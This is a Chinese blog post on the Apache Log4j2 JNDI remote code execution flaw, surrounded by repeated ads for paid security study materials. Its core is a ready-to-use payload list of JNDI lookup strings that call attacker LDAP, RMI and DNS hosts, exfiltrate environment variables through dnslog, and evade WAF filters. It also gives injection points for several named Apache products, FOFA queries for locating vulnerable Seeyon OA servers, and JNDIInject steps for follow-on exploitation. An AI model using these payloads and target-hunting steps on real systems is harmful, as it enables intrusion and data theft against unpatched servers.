《漏洞研究》Apache Log4j2 远程代码执行漏洞_apache log4j2远程代码执行漏洞

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

LDAP (轻量级目录访问协议)即是 JNDI SPI 支持的 服务接口 (Service Provider) 之一,但同时也是协议。
002.jpg
LDAP 目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,我们可以理解为是一个为可以查询、浏览和搜索而优化的分布式数据库,它呈树状结构组织数据,简单点理解:就是有一个类似于字典的数据源,可以通过LDAP协议,lookup查询传一个name进去,就能获取到数据。

4.RMI

RMI是Java中的一种远程方法调用机制,使用RMI,可以在不同的Java虚拟机(JVM)之间进行对象之间的方法调用。RMI使用了面向对象的技术,允许Java对象在远程服务器上实现具体的方法,并提供接口。客户端只需要关心接口,不需要了解方法的具体实现方式,只需提供相应的参数即可调用远程方法并获取执行结果。

0x06 根据原理构造 Payload 利用

log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,从网上大家的测试来看,主要使用 ldap 来构造 payload,详细参考这里:

1.常用payload
${jndi:ldap://127.0.0.1:1389/ Badclassname}
${jndi:ldap://xxx.xxx.xxx.xxx/exp}

//Windows
${jndi:dns://${env:OS}.dnslog.com}  		
${jndi:dns://${env:USERNAME}.dnslog.com}  	

//过waf
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}	
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class}	
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

log4j-java
IDusagemethod
1${java:version}getSystemProperty(“java.version”)
2${java:runtime}getRuntime()
3${java:vm}getVirtualMachine()
4${java:os}getOperatingSystem()
5${java:hw}getHardware()
6${java:locale}getLocale()
Linux
idusage
1${env:CLASSPATH}
2${env:HOME}
3${env:JAVA_HOME}
4${env:LANG}
5${env:LOGNAME}
6${env:MAIL}
7${env:PATH}
8${env:PWD}
9${env:SHELL}
10${env:USER}
Windows
idusage
1${env:A8_HOME}
2${env:A8_ROOT_BIN}
3${env:CLASSPATH}
4${env:JRE_HOME}
5${env:Java_Home}
6${env:LOGONSERVER}
7${env:OS}
8${env:Path}
9${env:USERDOMAIN}
10${env:USERNAME}
log4j2-sys
idusage
1${sys:java.version}
2${sys:os.name}
3${sys:os.version}
4${sys:user.name}
2.触发组件注入点
Apche OFBiz
OFBiz < v18.12.03

GET: https://0.0.0.0:8443/webtools/control/main
Cookie: OFBiz.Visitor=${jndi:ldap://0.0.0.0/123}

POST: https://0.0.0.0:8443/webtools/control/setLocaleFromBrowser
Content-Type: text/html;charset=UTF-8${jndi:ldap://0.0.0.0/123}

Apache Solr
v7.4.0 <= Solr <= v7.7.3
v8.0.0 <= Solr < v8.11.1

/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://0.0.0.0/123%7D&wt=json

/solr/admin/info/system?_=${jndi:ldap://0.0.0.0/123}&wt=json

/solr/admin/cores?_=&action=&config=&dataDir=&instanceDir=${jndi:ldap://0.0.0.0/123}&name=&schema=&wt=

Apache Druid

burp 传 payload,阻止 url 编码

http://0.0.0.0:8888/druid/coordinator/${jndi:ldap://0.0.0.0/123}

http://0.0.0.0:8888/druid/indexer/${jndi:ldap://0.0.0.0/123}

Apache JSPWiki
JSPWiki = V2.11.0

http://0.0.0.0:8888/druid/v2/${jndi:ldap://0.0.0.0/123}

有过滤,需要使用绕过语句触发

docker pull apache/jspwiki:release-2.11.0
docker run -d -p 8080:8080 apache/jspwiki:release-2.11.0

http://0.0.0.0:8080/wiki/$%7Bjndi:ldap:$%7B::-/%7D/0.0.0.0/123%7D

Apache Filnk
四个系列:< v1.14.2, < v1.13.5, < v1.12.7, < v1.11.6

http://0.0.0.0:8080/Edit.jsp?page=Main
X-Forwarded-For:${jndi:dns://0.0.0.0/123}

url 双编码绕过 //

GET: http://0.0.0.0:8081/jars/11.jar/plan?entry-class=1¶llelism=1${jndi:dns://0.0.0.0/123}&program-args=1

Apache SkyWalking
SkyWalking < v8.9.1

POST: http://0.0.0.0:8081/jars/${jndi:ldap:%252f%252f0.0.0.0%252f123}.jar/run

3.log4j会记录的请求头
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token

0x07 漏洞实战挖掘

漏洞复现
1.手工测试

部署控制服务端不方便的话,可以借助dnslog网站测试
测试环境

掌控安全靶场:http://d63bb2586.lab.aqlab.cn/
环境是:SpringBoot版本 2.6.1 log4j版本 2.14.1 java8
Dnslog官网: http://www.dnslog.cn/

打开网页后是在username登录框中,随便输入几个字符,点击登录打开burp抓取数据包,在username处替换,构造payload:${jndi:ldap://xxxx.dnslog.cn}
014.jpg
这里我们插入的注入点是username登录框的账号位置,注意,log4j他是日志框架,会记录日志,我们需要找到的是他能记录日志的位置,不一定是框,这里可能是UA,或者cookie,路径等等位置,插入之后如下所示
015.jpg

2.Burp插件-log4jscan工具

burp有个log4j的插件,使用一般,基于burp被动扫描探测,插入payload进行测试。
005.jpg006.jpg
通过以上配置,走burp的流量,就会被动检测(不怎么好用)通过检测结果进行下一步操作。
008.jpg

007.png

3.XRAY漏洞扫描器

使用xray漏洞扫描器扫log4j漏洞是不错的选择,使用前需要我们配置反连平台,没有反连平台扫描不出来log4j。

【服务端配置】

将xray上传到服务器后打开 config.yaml 修改以下语句。
009.jpg这样保存之后即可,注意服务器是指VPS,具备公网ip的系统,不是本地,配置完成后,在服务器,执行启动语句 nohup ./xray_linux_amd64 reverse &,即可在服务器后台默认开启反连平台

【客户端配置】

在xray本地config.yaml文件中打开,修改以下内容
010.jpg
当我们配置完成后,针对一些测试域名资产进行扫描
漏洞证明如下
011.jpg016.jpg

4.挖掘小知识

挖洞中遇到存在log4j2远程命令执行漏洞的较多的就是致远OA,无论是致远A6还是A8,十个致远OA里总能找到一两个存在漏洞的

fofa引擎搜索语法:  
app="致远互联-OA"  
app="致远A8"  
app="致远A6"  
...

漏洞后续利用

使用类似于JNDIInject-1.2-SNAPSHOT.jar的工具在公网服务器搭建一个平台启动

java -jar JNDIInject-1.2-SNAPSHOT.jar

图片.png
-u查看利用链
图片.png

-i 指定ip
图片.png

之后再抓包在注入点处进行利用

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

ttps://img-blog.csdnimg.cn/e4f9ac066e8c485f8407a99619f9c5b5.png#pic_center)在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-nvjny8I6-1713193391194)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值